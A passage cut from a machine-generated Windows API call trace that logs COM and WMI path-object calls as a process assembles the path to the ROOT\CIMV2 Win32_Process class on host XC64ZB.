ppvObject=0x1b30d090*=0x656b70) returned 0x0 [0124.613] WbemDefPath:IUnknown:AddRef (This=0x656b70) returned 0x3 [0124.613] WbemDefPath:IUnknown:Release (This=0x656b70) returned 0x2 [0124.613] WbemDefPath:IWbemPath:SetText (This=0x656b70, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0124.613] IWbemClassObject:Get (in: This=0x1b4d97f0, wszName="__SERVER", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=0, plFlavor=0x1b30d608*=0 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="XC64ZB", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0124.613] SysStringByteLen (bstr="XC64ZB") returned 0xc [0124.613] SysStringByteLen (bstr="XC64ZB") returned 0xc [0124.613] IWbemClassObject:Get (in: This=0x1b4d97f0, wszName="__NAMESPACE", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0124.613] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0124.613] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0124.614] IWbemClassObject:Get (in: This=0x1b4d97f0, wszName="__CLASS", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0124.614] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0124.614] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0124.614] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0124.614] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0124.614] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0124.614] IUnknown:Release (This=0x6124e8) returned 0x1 [0124.615] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b4d2240) returned 0x0 [0124.615] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d2240, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0124.615] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d2240, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x6569f0) returned 0x0 [0124.615] WbemDefPath:IUnknown:Release (This=0x1b4d2240) returned 0x0 [0124.615] WbemDefPath:IUnknown:QueryInterface (in: This=0x6569f0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x6569f0) returned 0x0 [0124.615] WbemDefPath:IUnknown:QueryInterface (in: This=0x6569f0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0124.615] WbemDefPath:IUnknown:QueryInterface (in: This=0x6569f0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0124.615] WbemDefPath:IUnknown:AddRef (This=0x6569f0) returned 0x3 [0124.615] WbemDefPath:IUnknown:QueryInterface (in: This=0x6569f0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0124.615] WbemDefPath:IUnknown:QueryInterface (in: This=0x6569f0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0124.615] WbemDefPath:IUnknown:QueryInterface (in: This=0x6569f0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b4d2480) returned 0x0 [0124.615] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d2480, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0124.615] WbemDefPath:IUnknown:Release (This=0x1b4d2480) returned 0x3 [0124.615] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0124.615] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0124.616] WbemDefPath:IUnknown:QueryInterface (in: This=0x6569f0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0124.616] WbemDefPath:IUnknown:Release (This=0x6569f0) returned 0x2 [0124.616] WbemDefPath:IUnknown:Release (This=0x6569f0) returned 0x1 [0124.616] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0124.616] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0124.616] WbemDefPath:IUnknown:QueryInterface (in: This=0x6569f0, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x6569f0) returned 0x0 [0124.616] WbemDefPath:IUnknown:AddRef (This=0x6569f0) returned 0x3 [0124.616] WbemDefPath:IUnknown:Release (This=0x6569f0) returned 0x2 [0124.616] WbemDefPath:IWbemPath:SetText (This=0x6569f0, uMode=0x4, pszPath="") returned 0x0 [0124.616] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0124.616] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0124.616] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0124.616] IUnknown:Release (This=0x6124e8) returned 0x1 [0124.617] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b4d25c0) returned 0x0 [0124.617] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d25c0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0124.617] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d25c0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x657170) returned 0x0 [0124.617] WbemDefPath:IUnknown:Release (This=0x1b4d25c0) returned 0x0 [0124.617] WbemDefPath:IUnknown:QueryInterface (in: This=0x657170, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x657170) returned 0x0 [0124.617] WbemDefPath:IUnknown:QueryInterface (in: This=0x657170, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0124.617] WbemDefPath:IUnknown:QueryInterface (in: This=0x657170, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0124.617] WbemDefPath:IUnknown:AddRef (This=0x657170) returned 0x3 [0124.617] WbemDefPath:IUnknown:QueryInterface (in: This=0x657170, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0124.617] WbemDefPath:IUnknown:QueryInterface (in: This=0x657170, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0124.617] WbemDefPath:IUnknown:QueryInterface (in: This=0x657170, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b4d2240) returned 0x0 [0124.617] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d2240, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0124.617] WbemDefPath:IUnknown:Release (This=0x1b4d2240) returned 0x3 [0124.617] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0124.618] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0124.618] WbemDefPath:IUnknown:QueryInterface (in: This=0x657170, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0124.618] WbemDefPath:IUnknown:Release (This=0x657170) returned 0x2 [0124.618] WbemDefPath:IUnknown:Release (This=0x657170) returned 0x1 [0124.618] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0124.618] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0124.618] WbemDefPath:IUnknown:QueryInterface (in: This=0x657170, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x657170) returned 0x0 [0124.618] WbemDefPath:IUnknown:AddRef (This=0x657170) returned 0x3 [0124.618] WbemDefPath:IUnknown:Release (This=0x657170) returned 0x2 [0124.618] WbemDefPath:IWbemPath:SetText (This=0x657170, uMode=0x4, pszPath="") returned 0x0 [0124.618] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x657170, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0124.618] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6569f0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0124.618] WbemDefPath:IWbemPath:GetClassName (in: This=0x657170, puBuffLength=0x1b30d558*=0x0, pszName=0x0 | out: puBuffLength=0x1b30d558*=0x0, pszName=0x0) returned 0x8004103a [0124.618] WbemDefPath:IWbemPath:GetServer (in: This=0x657170, puNameBufLength=0x1b30d560*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d560*=0x0, pName=0x0) returned 0x80041009 [0124.618] WbemDefPath:IWbemPath:SetServer (This=0x657170, Name="XC64ZB") returned 0x0 [0124.618] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0124.618] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0124.618] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0124.618] IUnknown:Release (This=0x6124e8) returned 0x1 [0124.619] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b4d25c0) returned 0x0 [0124.619] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d25c0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0124.619] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d25c0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x656db0) returned 0x0 [0124.619] WbemDefPath:IUnknown:Release (This=0x1b4d25c0) returned 0x0 [0124.619] WbemDefPath:IUnknown:QueryInterface (in: This=0x656db0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x656db0) returned 0x0 [0124.619] WbemDefPath:IUnknown:QueryInterface (in: This=0x656db0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0124.619] WbemDefPath:IUnknown:QueryInterface (in: This=0x656db0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0124.619] WbemDefPath:IUnknown:AddRef (This=0x656db0) returned 0x3 [0124.619] WbemDefPath:IUnknown:QueryInterface (in: This=0x656db0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0124.619] WbemDefPath:IUnknown:QueryInterface (in: This=0x656db0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0124.619] WbemDefPath:IUnknown:QueryInterface (in: This=0x656db0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b4d2080) returned 0x0 [0124.619] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d2080, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0124.620] WbemDefPath:IUnknown:Release (This=0x1b4d2080) returned 0x3 [0124.620] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0124.620] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0124.620] WbemDefPath:IUnknown:QueryInterface (in: This=0x656db0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0124.620] WbemDefPath:IUnknown:Release (This=0x656db0) returned 0x2 [0124.620] WbemDefPath:IUnknown:Release (This=0x656db0) returned 0x1 [0124.620] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0124.620] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0124.620] WbemDefPath:IUnknown:QueryInterface (in: This=0x656db0, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x656db0) returned 0x0 [0124.620] WbemDefPath:IUnknown:AddRef (This=0x656db0) returned 0x3 [0124.620] WbemDefPath:IUnknown:Release (This=0x656db0) returned 0x2 [0124.620] WbemDefPath:IWbemPath:SetText (This=0x656db0, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0124.620] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x657170, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0124.620] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656db0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x2) returned 0x0 [0124.620] WbemDefPath:IWbemPath:GetText (in: This=0x656db0, lFlags=16, puBuffLength=0x1b30d4c0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4c0*=0xb, pszText=0x0) returned 0x0 [0124.620] WbemDefPath:IWbemPath:GetText (in: This=0x656db0, lFlags=16, puBuffLength=0x1b30d4c0*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d4c0*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0124.620] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x657170) returned 0x0 [0124.620] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656db0, puCount=0x1b30d520 | out: puCount=0x1b30d520*=0x2) returned 0x0 [0124.620] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x656db0, uIndex=0x0, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x5, pName=0x0) returned 0x0 [0124.620] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x656db0, uIndex=0x0, puNameBufLength=0x1b30d518*=0x5, pName="0000" | out: puNameBufLength=0x1b30d518*=0x5, pName="ROOT") returned 0x0 [0124.620] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x657170, uIndex=0x0, pszName="ROOT") returned 0x0 [0124.620] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x656db0, uIndex=0x1, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x6, pName=0x0) returned 0x0 [0124.620] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x656db0, uIndex=0x1, puNameBufLength=0x1b30d518*=0x6, pName="00000" | out: puNameBufLength=0x1b30d518*=0x6, pName="CIMV2") returned 0x0 [0124.620] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x657170, uIndex=0x1, pszName="CIMV2") returned 0x0 [0124.620] WbemDefPath:IWbemPath:GetClassName (in: This=0x657170, puBuffLength=0x1b30d558*=0x0, pszName=0x0 | out: puBuffLength=0x1b30d558*=0x0, pszName=0x0) returned 0x8004103a [0124.621] WbemDefPath:IWbemPath:SetClassName (This=0x657170, Name="Win32_Process") returned 0x0 [0124.621] WbemDefPath:IWbemPath:GetInfo (in: This=0x657170, uRequestedInfo=0x0, puResponse=0x1b30d640 | out: puResponse=0x1b30d640*=0x20c16) returned 0x0 [0124.621] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x657170, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0124.621] WbemDefPath:IWbemPath:GetText (in: This=0x657170, lFlags=4, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x22, pszText=0x0) returned 0x0 [0124.621] WbemDefPath:IWbemPath:GetText (in: This=0x657170, lFlags=4, puBuffLength=0x1b30d590*=0x22, pszText="000000000000000000000000000000000" | out: puBuffLength=0x1b30d590*=0x22, pszText="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0124.621] WbemDefPath:IWbemPath:GetInfo (in: This=0x657170, uRequestedInfo=0x0, puResponse=0x1b30d5b0 | out: puResponse=0x1b30d5b0*=0x20c16) returned 0x0 [0124.621] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x657170, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0124.621] WbemDefPath:IWbemPath:GetText (in: This=0x657170, lFlags=8, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x14, pszText=0x0) returned 0x0 [0124.621] WbemDefPath:IWbemPath:GetText (in: This=0x657170, lFlags=8, puBuffLength=0x1b30d590*=0x14, pszText="0000000000000000000" | out: puBuffLength=0x1b30d590*=0x14, pszText="\\\\XC64ZB\\ROOT\\CIMV2") returned 0x0 [0124.621] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656cf0, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0124.621] WbemDefPath:IWbemPath:GetText (in: This=0x656cf0, lFlags=16, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: 